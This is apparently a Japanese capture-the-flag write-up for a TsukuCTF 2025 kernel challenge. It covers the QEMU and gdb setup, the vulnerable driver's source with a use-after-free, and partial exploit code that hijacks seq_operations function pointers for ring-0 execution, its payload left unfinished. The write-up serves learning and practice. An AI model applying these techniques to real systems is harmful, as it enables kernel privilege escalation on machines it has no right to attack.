x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=a2796968e9e0ced4980694addd25811e0e445b83, with debug_info, not stripped
さて、私のLinux Kernel Exploit問題の経験はCakeCTF 2022のwelkerme問題のみです。かつwelkerme問題は「攻撃手法が明確なので、ローカル環境はほぼ準備せず、静的リンクしたELFだけ用意して送り込んで実行」で済んでいました。しかし今回の問題は動作検証が必要な難易度にに思ったので、guideのサイトを文字通り先頭から読み進めて準備していきました。
環境構築、動作検証
配布ファイルの1つ、run.shは次の内容でした:
#!/bin/sh qemu-system-x86_64 \ -m 64M \ -cpu qemu64 \ -kernel bzImage \ -drive file=rootfs.ext3,format=raw \ -drive file=flag.txt,format=raw \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -smp 1 \ -append "root=/dev/sda rw init=/init console=ttyS0 nokaslr nopti loglevel=0 oops=panic panic=-1"
qemu-system-x86_64コマンドを使って、QEMU中でマシンを実行する内容です。どうやら次のオプションで、配布ファイルを紐づけているようです:
-kernel bzImageでbzImageファイルを紐づけ。-drive file=rootfs.ext3,format=rawでrootfs.ext3ファイルを紐づけ。-drive file=flag.txt,format=rawでflag.txtファイルを紐づけ。
vmlinux ファイルは上記コマンドでは使われないようです。vmlinuxのヒミツ - VA Linux エンジニアブログによると、vmlinuxファイル内容から不要箇所除去、圧縮、別ファイルとリンクしたものがbzImageのようです。そのため今回の問題では、解析補助用としてvmlinuxファイルが提供されているようです。
なおIDAでvmlinuxファイルを解析しようとすると、Program entry point (19C8F50) is not in the section headers Program headers will be used to load the missing data.警告やIllegal program entry point (19C8F50)警告が発生したり、そもそもDWARF情報の解析に数分かかったりします。Linuxカーネルの巨大さや特別具合を体感できます。
同様に、.configファイルも上記コマンドでは使われていないようです。Linuxカーネルビルド大全 #kernel - QiitaによるとLinuxカーネルのビルド時に使われるファイルとのことです。そのためやはり今回の問題では解析補助用として.configファイルが提供されているようです。
./run.sh 実行するとQEMU中でマシンが起動して、ターミナル表示がクリアされた後に次の内容が表示されました:
Boot took 2.12 seconds [ easy_kernel - TsukuCTF 2025 ] ~ $
後は問題なくシェルとして操作できました:
~ $ whoami ctf ~ $ id uid=1000(ctf) gid=1000 groups=1000 ~ $ uname -a Linux (none) 6.14.2 #1 SMP PREEMPT_DYNAMIC Sat Apr 19 09:09:40 JST 2025 x86_64 GNU/Linux ~ $ cat /etc/os-release NAME=Buildroot VERSION=2024.02.11 ID=buildroot VERSION_ID=2024.02.11 PRETTY_NAME="Buildroot 2024.02.11" ~ $ ls -AlF /dev/sdb brw------- 1 root root 8, 16 May 5 16:35 /dev/sdb ~ $ cat /dev/sdb cat: can't open '/dev/sdb': Permission denied ~ $
起動するLinuxカーネルのバージョンは、uname -aコマンド実行結果からLinux 6.14.2と分かります。Linuxカーネルバージョン情報は、file bzImageコマンド結果からもversion 6.14.2と分かるようです。Linuxカーネルバージョンが判明したので、Linux source code (v6.14.2) - Bootlin Elixir Cross Referencerから当該バージョンの各種関数や構造体を調べられます。
なお/etc/os-release内容にあるBuildrootを調べてみると、組み込み用Linuxのディストリビューションのようです: Buildroot - Making Embedded Linux Easy
initスクリプト内容確認、編集検証
QEMU中マシンの起動時に表示される[ easy_kernel - TsukuCTF 2025 ]が、どこの処理によるのかが気になりました。カーネルexploitへの導入 | PAWNYABLE!に次の記述があります:
qemuでマシンを起動する際、Linuxカーネルとは別にルートディレクトリとしてマウントされるディスクイメージが必要です。 ディスクイメージは一般的にext等のファイルシステムの生バイナリか、cpioと呼ばれる形式で作成・配布されます。 ファイルシステムの場合はmountコマンドでマウントすれば中のファイルを編集できます。
今回の配布ファイルについて試すと、rootfs.ext3がファイルシステムの生バイナリのようで、mountできました:
$ mkdir root $ sudo mount rootfs.ext3 root $ ls -AlF root/ total 29 drwxr-xr-x 2 ubuntu lxd 2048 Apr 19 09:11 bin/ drwxr-xr-x 4 ubuntu lxd 1024 Feb 21 22:06 dev/ drwxr-xr-x 5 ubuntu lxd 1024 Apr 19 09:11 etc/ -rwxr-xr-x 1 ubuntu lxd 942 Apr 19 13:06 init* drwxr-xr-x 3 ubuntu lxd 1024 Apr 19 09:11 lib/ lrwxrwxrwx 1 ubuntu lxd 3 Mar 25 11:19 lib64 -> lib/ lrwxrwxrwx 1 ubuntu lxd 11 Mar 25 12:07 linuxrc -> bin/busybox* drwx------ 2 ubuntu lxd 12288 Apr 19 09:11 lost+found/ drwxr-xr-x 2 ubuntu lxd 1024 Feb 21 22:06 media/ drwxr-xr-x 2 ubuntu lxd 1024 Feb 21 22:06 mnt/ drwxr-xr-x 2 ubuntu lxd 1024 Feb 21 22:06 opt/ drwxr-xr-x 2 ubuntu lxd 1024 Feb 21 22:06 proc/ drwx------ 2 ubuntu lxd 1024 Apr 19 13:06 root/ drwxr-xr-x 2 ubuntu lxd 1024 Apr 19 09:11 run/ drwxr-xr-x 2 ubuntu lxd 1024 Mar 25 12:07 sbin/ drwxr-xr-x 2 ubuntu lxd 1024 Feb 21 22:06 sys/ drwxrwxrwt 2 ubuntu lxd 1024 Feb 21 22:06 tmp/ drwxr-xr-x 6 ubuntu lxd 1024 Apr 19 09:11 usr/ drwxr-xr-x 4 ubuntu lxd 1024 Apr 19 09:11 var/ $
[ easy_kernel - TsukuCTF 2025 ]表示内容を探しました:
$ sudo grep -r --fixed-string '[ easy_kernel - TsukuCTF 2025 ]' root root/init:echo "[ easy_kernel - TsukuCTF 2025 ]"
ファイルシステムの/init中に見つかりました。/initファイル内容は次のものでした:
#!/bin/sh if (exec 0</dev/console) 2>/dev/null; then exec 0</dev/console exec 1>/dev/console exec 2>/dev/console fi mkdir /home echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd echo 'root:x:0:' > /etc/group chmod 644 /etc/passwd chmod 644 /etc/group adduser ctf --disabled-password 2>/dev/null chown -R root:root / chmod 700 -R /root chown ctf:root /home/ctf chmod 777 /home/ctf chmod 755 /dev chmod u+s /bin/su mount -t proc -o nodev,noexec,nosuid proc /proc mount -t sysfs -o nodev,noexec,nosuid sysfs /sys mount -t tmpfs -o "noexec,nosuid,size=10%,mode=0755" tmpfs /run ln -sf /proc/mounts /etc/mtab echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/perf_event_paranoid insmod /root/vuln.ko chmod 666 /dev/vuln stty -opost echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" echo "[ easy_kernel - TsukuCTF 2025 ]" setsid cttyhack setuidgid 1000 sh
全体的な初期設定を行っているようです。gdbによるカーネルのデバッグ | PAWNYABLE!によると、setsid cttyhack setuidgid 1000 sh箇所の1000が、シェル起動時のユーザーIDを指定しているようです。試しに1000を0に書き換えて保存し、改めて./run.sh実行すると、root権限でシェルが起動しました!
Boot took 2.12 seconds
[ easy_kernel - TsukuCTF 2025 ]
~ # whoami
root
~ # id
uid=0(root) gid=0(root) groups=0(root)
~ # cat /dev/sdb
TsukuCTF25{REDACTED}
~ #
なお、どうやらrootfs.ext3マウント先でroot/initファイルを編集するだけで、rootfs.ext3ディスクイメージ用ファイル本体へ反映されるようです。sudo umount rootでのアンマウントは不要でした。ただもしも「編集しているはずなのに反映されない」ということがあれば、アンマウントするのが確実だと思います。
また、/dev/sdbファイルにフラグ内容が書き込まれていることも確認できました。当該ファイルはrootユーザーのみが読み込めるファイルであるため、何らかの方法で権限昇格する必要があります。
その他、/initファイル内容で気になって調べた部分です:
/proc/sys/kernel/kptr_restrict:/proc以下でのカーネルアドレスの取得可否を表します。例えば/proc/kallsymsファイル経由での取得が該当します。上記設定値の1では、CAP_SYSLOG権限を持つユーザーのみがアドレスを取得できます。proc_sys_kernel(5) - Linux manual page, gdbによるカーネルのデバッグ | PAWNYABLE!- 後で記述するKADRに関係します。動作検証時は
0に変更しておくと役立ちます。
- 後で記述するKADRに関係します。動作検証時は
/proc/sys/kernel/dmesg_restrict: kernel syslog内容の閲覧可否を表します。例えばdmesgコマンドによる閲覧が該当します。上記設定値の1では、CAP_SYS_ADMIN権限またはCAP_SYSLOG権限を持つユーザーのみが確認できます。proc_sys_kernel(5) - Linux manual page, syslog(2) - Linux manual page- とりあえず動作検証時では
0に変更しておくのが良さそうです。
- とりあえず動作検証時では
/proc/sys/kernel/perf_event_paranoid:perf_events内容のアクセス可否を表します。上記設定値の1では、CAP_PERFMON権限を持つユーザーのみがいくつかのイベント種類を確認できるようです。Perf Tutorial 1- カーネルエクスプロイト視点の使い道が分かっていません。とはいえ念のため
-1へ変更して全ユーザーから全パフォーマンスイベントへアクセスできるようにしておくと、役立つことがあるかも……?
- カーネルエクスプロイト視点の使い道が分かっていません。とはいえ念のため
QEMU中マシンをgdbでリモートデバッグ
Linuxカーネルのエクスプロイトというわけで、gdbでカーネルデバッグできるようにしたいです。というわけで、gdbによるカーネルのデバッグ | PAWNYABLE!で書かれている手順をなぞりました:
run.shファイルで実行するqemu-system-x86_64コマンドに、-gdb tcp::12345オプションを追加します:run.shを実行して、あらためてQEM中でマシンを起動します。- 別のターミナルで
gdbを起動して、target remote localhost:12345コマンドを実行してアタッチします:
$ diff run.sh.bak run.sh 13c13,14 < -append "root=/dev/sda rw init=/init console=ttyS0 nokaslr nopti loglevel=0 oops=panic panic=-1" --- > -append "root=/dev/sda rw init=/init console=ttyS0 nokaslr nopti loglevel=0 oops=panic panic=-1" \ > -gdb tcp::12345
0xffff...から始まるLinuxカーネル中のアドレスがスタックトレースにでてくることに感激しました!
なお、gdbを起動するたびにattachコマンドを入力するのは手間なので、初期実行gdbコマンド用ファイルを準備して-xオプション指定で実行していました:
$ cat gdb-debug.txt set arch i386:x86-64:intel target remote localhost:12345 $ gdb -q -x gdb-debug.txt
2025/05/08 04時頃追記: gdbでのカーネルデバッグ中に、シンボル情報付きのvmlinuxファイルやvuln.koファイルをadd-symbol-fileコマンドで読み込ませられます。そうすると、b do_execveのように関数名指定でブレークポイントを設置できたり、ptype/o struct credで構造体定義内容を表示できたりして便利です。なおadd-symbol-fileコマンドで指定するアドレスは.textセクションの先頭アドレスです(イメージベースと同一かも?)。
- Linuxカーネルである
vmlinuxファイルの場合は、head -1 /proc/kallsymsコマンドで.textセクションの先頭アドレスを取得できます: セキュリティ機構 | PAWNYABLE! vuln.ko等のカーネルデバイスの場合は、cat /proc/modulesコマンドで調べたアドレスが.textセクションの先頭アドレスのようです。
例えばhead -1 /proc/kallsymsコマンド結果がffffffff81000000 T srso_alias_untrain_retの場合は、次のように実行します(ret2userして0x401329へ制御を移した状況です):
(gdb) b *0x401329
Breakpoint 1 at 0x401329
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000401329 in ?? ()
(gdb) bt
#0 0x0000000000401329 in ?? ()
#1 0xffffffff813f6386 in ?? ()
#2 0xffffc9000017fdc0 in ?? ()
#3 0xffffffff813bfa86 in ?? ()
#4 0xffff888002e3b840 in ?? ()
#5 0xffff888002ef4038 in ?? ()
#6 0xffff888002ef4028 in ?? ()
#7 0xffffc9000017fee0 in ?? ()
#8 0xffff888002ec10c0 in ?? ()
#9 0x0000000000000001 in ?? ()
#10 0xffffc9000017fee0 in ?? ()
#11 0x0000000000000000 in ?? ()
(gdb) add-symbol-file vmlinux 0xffffffff81000000
add symbol table from file "vmlinux" at
.text_addr = 0xffffffff81000000
(y or n) y
Reading symbols from vmlinux...
(gdb) bt
#0 0x0000000000401329 in ?? ()
#1 0xffffffff813f6386 in seq_read_iter (iocb=iocb@entry=0xffffc9000017fe00, iter=iter@entry=0xffffc9000017fdd8) at fs/seq_file.c:225
#2 0xffffffff813f682d in seq_read (file=<optimized out>, buf=<optimized out>, size=<optimized out>, ppos=0xffffc9000017fee0) at fs/seq_file.c:162
#3 0xffffffff813c197e in vfs_read (file=file@entry=0xffff888002ec10c0, buf=buf@entry=0x7ffef409e9c8 "", count=count@entry=256, pos=pos@entry=0xffffc9000017fee0) at fs/read_write.c:563
#4 0xffffffff813c2671 in ksys_read (fd=<optimized out>, buf=0x7ffef409e9c8 "", count=256) at fs/read_write.c:708
#5 0xffffffff813c2718 in __do_sys_read (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:717
#6 __se_sys_read (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:715
#7 __x64_sys_read (regs=<optimized out>) at fs/read_write.c:715
#8 0xffffffff81203bdc in x64_sys_call (regs=regs@entry=0xffffc9000017ff58, nr=<optimized out>) at ./arch/x86/include/generated/asm/syscalls_64.h:1
#9 0xffffffff819b92c4 in do_syscall_x64 (nr=<optimized out>, regs=0xffffc9000017ff58) at arch/x86/entry/common.c:52
#10 do_syscall_64 (regs=0xffffc9000017ff58, nr=<optimized out>) at arch/x86/entry/common.c:83
#11 0xffffffff8100012f in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:121
#12 0x0000000000000000 in ?? ()
(gdb)
btコマンドでのスタックトレース表示内容が、シンボル追加前はアドレスのみの表示ですが、シンボル追加後は関数名や引数内容が表示されていることが分かります。
また、Warmup | P3LANDではgdb ./vmlinuxのように、GDB起動時にvmlinuxファイルを指定して込ませてシンボル情報を読み込ませる方法も紹介されています。
ビルド結果サイズ削減用のmusl-gccインストール
コンパイルとexploitの転送 | PAWNYABLE!で言及があるように、エクスプロイト用のELFファイルは静的リンクして作成する必要があります。また、作成したELFファイルを実行QEMUマシンへ転送する必要があります。転送時間削減のために作成するELFファイルのサイズを小さくしたいです。
gccビルドでは、今回作成するエクスプロイトでも700KBを超えました:
$ gcc -Os -static -o exploit exploit.cpp $ wc -c exploit 835456 exploit $ strip exploit $ wc -c exploit 751648 exploit
一方で上記記事で紹介されているmusl-gccビルドでは、30KB程度となりました。gccビルド比較で約1/20と大幅に削減できました:
$ musl-gcc -Os -static -o exploit exploit.cpp $ wc -c exploit 44440 exploit $ strip exploit $ wc -c exploit 34680 exploit
なお、musl-gccコマンドをインストールする際、最初は雑にsudo apt install musl musl-dev musl-toolsを試しましたが、インストールは成功したもののmusl-gccコマンドにパスが通っていない状況でした。結局、公式ページmusl libcのリンクにあるmusl - musl - an implementation of the standard library for Linux-based systemsからcloneした後、一般的なインストール方法で成功しました:
$ git clone https://git.musl-libc.org/git/musl
$ cd musl
$ ./configure
$ make
$ sudo make install
make含めて数十秒で完了して、/usr/local/musl/bin/musl-gccが生成されました。あとは絶対パスで直接実行したり、適宜PATHへ追加したりします。
エクスプロイト検証用アップロード用スクリプトの準備
エクスプロイト開発中は、次の手順を繰り返すことになります:
- ローカルマシンでエクスプロイト用バイナリをビルドして作成
- QEMU中でマシンを起動
- Base64エンコード等を使用して、エクスプロイト用バイナリを転送、デコード
- エクスプロイトを実行して動作検証、デバッグ
毎回手動で転送するのは大変なので、コンパイルとexploitの転送 | PAWNYABLE!で紹介されているようなツールがあると便利です。今回は、本問題の配布ファイルupload.pyをローカル実行用に変更したものを使用しました:
#!/usr/bin/env python3 import base64 import sys from pwn import * # context.log_level = "DEBUG" conn: tube = None # type: ignore def run(cmd): global conn conn.sendlineafter(b"$ ", cmd.encode()) # conn.sendlineafter(b"# ", cmd.encode()) conn.recvline() def main(): global conn if len(sys.argv) != 2: log.info(f"Usage: python3 {sys.argv[0]} <PATH_TO_EXPLOIT>") sys.exit(0) conn = process("./run.sh") # Upload the exploit to /tmp/exploit using base64 encoding with open(sys.argv[1], "rb") as f: payload = base64.b64encode(f.read()).decode() run("cd /tmp") for i in range(0, len(payload), 512): chunk = payload[i : i + 512] log.info(f"Uploading: {i:x}/{len(payload):x}") run(f'echo "{chunk}" >> b64exp') run("base64 -d b64exp > exploit") run("rm b64exp") run("chmod +x exploit") conn.interactive("") if __name__ == "__main__": main()
なお注意点として、conn.sendlineafter(b"$ ", cmd.encode())とある通り、シェルのプロンプトが$であることを前提にしています。/initファイルを書き換えて最初からrootユーザーとして起動する状況にしていると、シェルのプロンプトが#となるため上記アップロードのsendlineafter()箇所で受信待ちのまま止まってしまいます(数回ハマりました)。
……という内容を書いた後に、作問者様による次の書き込みを見つけました:
Thanks for the detailed writeup! By the way, you can add the exploit to the root filesystem by simply:
— r1ru (@ri5255) May 6, 2025
```
sudo mount -o loop rootfs.ext3 mnt
cp exploit mnt
``` https://t.co/W9xLPWESbq
確かに、mountしているファイルシステム中へコピーすれば次回起動時に反映されるので、その方法が一番簡単です!
今回の問題設定の把握
これまででエクスプロイト開発やカーネルデバッグ手順を整えたので、ここからエクスプロイトを開発していきます。
カーネル保護設定の確認
セキュリティ機構 | PAWNYABLE!を見ながら、今回の問題でのカーネルの各種設定を確認しました:
- SMEP: 無効
- 起動コマンド側の確認:
run.shファイルでのqemu-system-x86_64コマンドの-cpuオプション内容が、qemu64とのみであり、+smepがありません。 - 実行中マシンでの確認:
cat /proc/cpuinfo | grep smap実行結果が空行です。
- 起動コマンド側の確認:
- SMAP: 無効
- 起動コマンド側の確認:
run.shファイルでのqemu-system-x86_64コマンドの-cpuオプション内容が、qemu64とのみであり、+smapがありません。 - 実行中マシンでの確認:
cat /proc/cpuinfo | grep smap実行結果が空行です。
- 起動コマンド側の確認:
- KASLR / FGKASLR: 無効
- 起動コマンド側の確認:
run.shファイルでのqemu-system-x86_64コマンドの-appendオプション内容に、nokaslrが含まれています。
- 起動コマンド側の確認:
- KPTI: 無効?
- 起動コマンド側の確認:
run.shファイルでのqemu-system-x86_64コマンドの-appendオプション内容に、noptiが含まれています。そのため無効のはずです。 - 実行中マシンでの確認:
cat /sys/devices/system/cpu/vulnerabilities/meltdown実行結果がNot affectedです。よく分かりません。Mitigation: PTIでもVulnerableでもありません。
- 起動コマンド側の確認:
- KADR: 実質的に無効
/initファイル中でecho 1 > /proc/sys/kernel/kptr_restrict指定しています。そのためリモート環境では一応有効です。- 一方でローカルの動作検証用環境で
echo 0 > /proc/sys/kernel/kptr_restrictやroot実行すれば各種アドレスが分かり、かつKASLRが無効であることからリモート環境等でも同一アドレスになります。そのため実質的に無効のようなものでしょう。
というわけで、本問題のカーネルは保護機構がほぼ設定されていないと分かりました。
Linuxカーネルドライバ中の脆弱性の理解
いよいよ満を持してsrc/vuln.cの内容に入ります。次の内容です:
#include <linux/fs.h> #include <linux/miscdevice.h> #include <linux/module.h> #include <linux/mutex.h> #include <linux/slab.h> #include <linux/uaccess.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("r1ru"); MODULE_DESCRIPTION("easy_kernel - TsukuCTF 2025"); #define CMD_ALLOC 0xf000 #define CMD_WRITE 0xf001 #define CMD_FREE 0xf002 #define OBJ_SIZE 0x20 typedef struct { size_t size; char *data; } request_t; struct obj { char buf[OBJ_SIZE]; }; static struct obj *obj = NULL; static DEFINE_MUTEX(module_lock); static long obj_alloc(void) { if (obj != NULL) { return -1; } obj = kzalloc(sizeof(struct obj), GFP_KERNEL); if (obj == NULL) { return -1; } return 0; } static long obj_write(char *data, size_t size) { if (obj == NULL || size > OBJ_SIZE) { return -1; } if (copy_from_user(obj->buf, data, size) != 0) { return -1; } return 0; } static long obj_free(void) { kfree(obj); return 0; } static long module_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { request_t req; long ret; if (copy_from_user(&req, (void *)arg, sizeof(req)) != 0) { return -1; } mutex_lock(&module_lock); switch(cmd) { case CMD_ALLOC: ret = obj_alloc(); break; case CMD_WRITE: ret = obj_write(req.data, req.size); break; case CMD_FREE: ret = obj_free(); break; default: ret = -1; break; } mutex_unlock(&module_lock); return ret; } static struct file_operations module_fops = { .unlocked_ioctl = module_ioctl, }; static struct miscdevice vuln_dev = { .minor = MISC_DYNAMIC_MINOR, .name = "vuln", .fops = &module_fops }; static int __init module_initialize(void) { if (misc_register(&vuln_dev) != 0) { return -1; } return 0; } static void __exit module_cleanup(void) { misc_deregister(&vuln_dev); mutex_destroy(&module_lock); } module_init(module_initialize); module_exit(module_cleanup);
次のことが分かります:
miscdevice::nameを"vuln"に設定して、misc_register関数を呼び出しています。それにより/dev/vulnデバイス作成等が行われているようです: デバイスドライバと割り込み処理、inb()とoutb()module_ioctl関数をfile_operations::unlocked_ioctlメンバーに設定しています。- 当該メンバーは、
ioctlシステムコール経由で呼び出せます: デバイスドライバと割り込み処理、inb()とoutb()
- 当該メンバーは、
module_ioctl関数冒頭で、sizeof(request_t)分だけargからコピーしています。cmd分岐より前にコピー処理があります。そのためCMD_ALLOCやCMD_FREE指定時でもrequest_tを与える必要があります。
cmd内容に従って、3種類のコマンドを実装しています。CMD_FREEコマンド処理時では、グローバル変数objについてkfree(obj)しています。しかしobj変数内容をそのまま保持しており、NULL代入等を行っていません。そのためCMD_FREEコマンド後にCMD_WRITEコマンドを使用すると、obj->bufが元々指していた領域を書き換えられる、Use-After-Free Writeの脆弱性が存在します。
また、先述の/init初期化スクリプト中の次の行で、上記src/vuln.cビルド結果の/root/vuln.koをロードしているようです:
insmod /root/vuln.ko chmod 666 /dev/vuln
vulnデバイスが読み込まれていることを、QEMU中実行マシンで確認しました:
~ $ cat /proc/misc 125 vuln 126 cpu_dma_latency 127 vga_arbiter ~ $ cat /proc/modules vuln 12288 0 - Live 0xffffffffc0000000 (O) ~ $ ls -AlF /dev/vuln crw-rw-rw- 1 root root 10, 125 May 6 08:09 /dev/vuln ~ $
正規用法ユーザー側コード作成とgdbデバッグ確認
まずは正規用法で/dev/vulnを操作するコードを書きました:
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> #include<fcntl.h> #include<sys/ioctl.h> #define CMD_ALLOC 0xf000 #define CMD_WRITE 0xf001 #define CMD_FREE 0xf002 #define OBJ_SIZE 0x20 typedef struct request_t { size_t size; char *data; } request_t; static_assert(sizeof(request_t) == 0x10); int main(){ int fd_vuln = open("/dev/vuln", O_RDWR); if (fd_vuln == -1){ perror("Failed to open"); return 1; } unsigned char req_data[OBJ_SIZE]; memset(req_data, 'A', sizeof(req_data)); request_t req = { .size = sizeof(req_data), .data = reinterpret_cast<char*>(req_data), }; // AllocやFree時でも、内容は使われないけれども、request_tを渡す必要がある。 if (ioctl(fd_vuln, CMD_ALLOC, &req) == -1) { perror("ioctl for CMD_ALLOC"); exit(1); } if (ioctl(fd_vuln, CMD_WRITE, &req) == -1) { perror("ioctl for CMD_WRITE"); exit(1); } if (ioctl(fd_vuln, CMD_FREE, &req) == -1) { perror("ioctl for CMD_FREE"); exit(1); } close(fd_vuln); puts("Success!"); }
各種コマンド用マクロや、request_t構造体定義は、src/vuln.c内容をそのままコピペしてきています。今回の内容だと構造体メンバー間のパディングは無いはずなので、非想定パディングによるエラーは起こらないはずです。
実行してみると、1回目は正しく最後まで実行てきていることが分かります。2回目はCMD_ALLOCコマンド実行時にobjグローバル変数が非NULLであるため失敗します(このことに気付かずしばらくハマっていました):
/tmp $ ./exploit Success! /tmp $ ./exploit ioctl for CMD_ALLOC: Operation not permitted /tmp $
個人的にLinux用プログラミングに馴染みがなさすぎて、各種関数がどのヘッダーに入っているのかまだ全然分かっていません。とりあえず書いてみて、コンパイルエラーが起こったらman open等を見てヘッダーを確認して追加する、という手順で開発していました。
次にgdbによるカーネルのデバッグ | PAWNYABLE!を見ながら、カーネルデバッガーでのブレークポイントも検証しました。まずは/root/vuln.koファイルを解析するために、mount先からローカルへファイルをコピーしました。コピー後をIDAで解析して、各種関数のオフセットを得ました。なおIDAがDWARFのデバッグ情報を読み込み際にThe DWARF plugin couldn't apply all DWARF relocation entries (#3223 in section .rela.debug_info)警告が表示されたものの、問題なく読み込めたように感じます。
module_ioctl関数のアドレスを計算します:
vulnデバイスのイメージベース:cat /proc/modules結果から分かります。試したときは0xffffffffc0000000でした。module_ioctl関数のRVA: IDAで調べると0x10と分かります(IDAの場合は適切に、各種関数が別々のRVAに存在しました)- なお、シンボル情報から調べると、
module_ioctl関数含めて何故か複数の関数が0x10に存在する内容でした。この都合か、gdbでvuln.koのシンボル情報を読み込ませてmodule_ioctl関数でブレークさせても、btコマンドやx/1i $rip結果でmodule_cleanup関数と表示されたりしました。
- なお、シンボル情報から調べると、
$ readelf --symbols vuln.ko | grep 0000000000000010
30: 0000000000000010 30 FUNC LOCAL DEFAULT 3 module_initialize
32: 0000000000000010 26 FUNC LOCAL DEFAULT 5 module_cleanup
33: 0000000000000010 307 FUNC LOCAL DEFAULT 1 module_ioctl
57: 0000000000000010 26 FUNC GLOBAL DEFAULT 5 cleanup_module
59: 0000000000000010 30 FUNC GLOBAL DEFAULT 3 init_module
$ objdump -d vuln.ko | grep 0000000000000010
0000000000000010 <module_ioctl>:
0000000000000010 <init_module>:
0000000000000010 <cleanup_module>:
$
これらの情報からb *(0xffffffffc0000000 + 0x10)でmodule_ioctl関数へブレークポイントを設定して、上記動作検証用コードを実行すると、最初のioctl呼び出しであるCMD_ALLOCコマンド実行時(=0xf000)に正常にブレークしました:

UAF Writeでのseq_operations利用によるカーネル権限任意コード実行
次はUAF Writeの脆弱性を使います。Holstein v3: Use-after-Freeの悪用 | PAWNYABLE!に次の説明があります:
カーネル空間のプログラムは複数のプログラムにリソースが共有されるHeap OverflowやUse-after-Freeといった脆弱性は、カーネル空間では多くの場合ユーザー空間の同じ脆弱性よりも簡単に攻撃可能です。これはカーネルのヒープが共有されており、関数ポインタなどを持ついろんな構造体を攻撃に利用できるからです。逆に言えば、Heap BOFやUAFが起きるオブジェクトと同じサイズ帯で悪用できる構造体を見つけられなければ、exploitは困難になります。
また、Holstein v2: Heap Overflowの悪用 | PAWNYABLE!ではカーネルでの各種アロケーターが記述されています。その中のSLUBアロケーター箇所に次の説明があります:
SLUBアロケータは、現在デフォルトで使われているアロケータサイズ帯に応じて使われるページフレームが変わりますSLUBはlibcのtcacheやfastbinのように、片方向リストで解放領域を管理します。
上記の記述から考えると、vulnデバイスからkzfree関数で解放したチャンクは、Linuxカーネルのどこかで次にkmalloc(またはマクロ定義されていて最終的に同一関数呼び出しとなるkzalloc)で同一サイズのチャンクを確保する際に返されるはずです。vulnデバイスではkzalloc(sizeof(struct obj), GFP_KERNEL)で確保しており、sizeof(struct obj)は0x20です。その場合はkmalloc-32が使われるようです。
kmalloc-32関係でエクスプロイトに使える構造体として、Double Fetch | PAWNYABLE!やKernel Exploitで使える構造体集 - CTFするぞで、seq_operations構造体が紹介されています。構造体定義を見ると関数ポインター4個分であり、64-bit環境では確かにサイズが0x20です: seq_file.h - include/linux/seq_file.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
今回の問題では、カーネル保護機構のSMEPやKPTIが無効です。そのためエクスプロイトが用意したユーザーランドにある関数のアドレスをseq_operation構造体中の関数ポインター型メンバーへ設定し、関数ポインター経由で呼び出させれば、カーネル権限で任意処理を実行できます。(今回はROP系ではないためret命令は非使用なので、今回のカーネル権限での任意処理実行方法をret2userと呼んでいいのか分かっていません。)
試行錯誤しながら、UAF Write脆弱性を使って、seq_operationsの関数ポインター4個全部を自作コード定義の関数へ置き換える処理を書きました:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define CMD_ALLOC 0xf000 #define CMD_WRITE 0xf001 #define CMD_FREE 0xf002 #define OBJ_SIZE 0x20 // main先頭でアドレスを出力します void* escalate_privilege(void) { // TODO: 権限昇格用の処理を実装する return 0; } typedef struct request_t { size_t size; char *data; } request_t; static_assert(sizeof(request_t) == 0x10); int main() { printf("escalate_privilege = %p\n", &escalate_privilege); system("cat /proc/modules"); int fd_vuln = open("/dev/vuln", O_RDWR); if (fd_vuln == -1) { perror("Failed to open /dev/vuln"); return 1; } void* (*fake_seq_operations[4])(void) = {&escalate_privilege, &escalate_privilege, &escalate_privilege, &escalate_privilege}; static_assert(sizeof(fake_seq_operations) == OBJ_SIZE); request_t req = { .size = sizeof(fake_seq_operations), .data = (char *)fake_seq_operations, }; // マシン起動から最初のCMD_Allocのみが成功する。 if (ioctl(fd_vuln, CMD_ALLOC, &req) == -1) { perror("ioctl for CMD_ALLOC"); puts("カーネル起動から最初のCMD_ALLOCのみ成功します。"); exit(1); } if (ioctl(fd_vuln, CMD_FREE, &req) == -1) { perror("ioctl for CMD_FREE"); exit(1); } // 同一サイズのseq_operations構造体をUAFで上書き // https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#seq_operations int fd_stat = open("/proc/self/stat", O_RDONLY); if (fd_vuln == -1) { perror("Failed to open /proc/self/stat"); return 1; } puts("UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。"); getchar(); if (ioctl(fd_vuln, CMD_WRITE, &req) == -1) { perror("ioctl for CMD_WRITE"); exit(1); } puts("readします。このときにUAFによるRIP制御が発動するはずです。"); char buffer_stat[256] = {}; read(fd_stat, buffer_stat, sizeof(buffer_stat)); puts("closeします。後は正常のはずです。"); close(fd_stat); puts("exploit終了です。"); }
main関数冒頭でescalate_privilege関数のアドレスを出力して、そのアドレスを使ってgdbでのカーネルデバッグ側でブレークポイントを設定すると、無事にescalate_privilege関数が呼び出されていることを確認できました!

gdb側でのbtコマンドによるスタックトレース表示で、escalate_privilege関数のアドレスである0x00000000004012f9が先頭に表示されています。また、escalate_privilege関数の呼び出し元が0xffffffff813f6386とLinuxカーネル側のアドレスです。
How to find what ring a process is running on in Linux? - Unix & Linux Stack Exchangeによると、csレジスタの値 & 3が現在実行中のringを表すそうです。上記gdb確認時ではp ($cs & 3)コマンド結果が0であるため、カーネル権限であるring-0で実行中らしいことが分かります。
seq_operations構造体の4メンバー全部を改ざんしているからか、escalate_privilege関数は2回呼び出されます。その後、正常にmain関数へ戻り、./exploitプロセスが終了します。あとはescalate_privilege関数中で、権限昇格する処理を実装できればゴールです。
おまけ: カーネルクラッシュ時のログ出力を豊富にするためloglevelを1以上にしよう
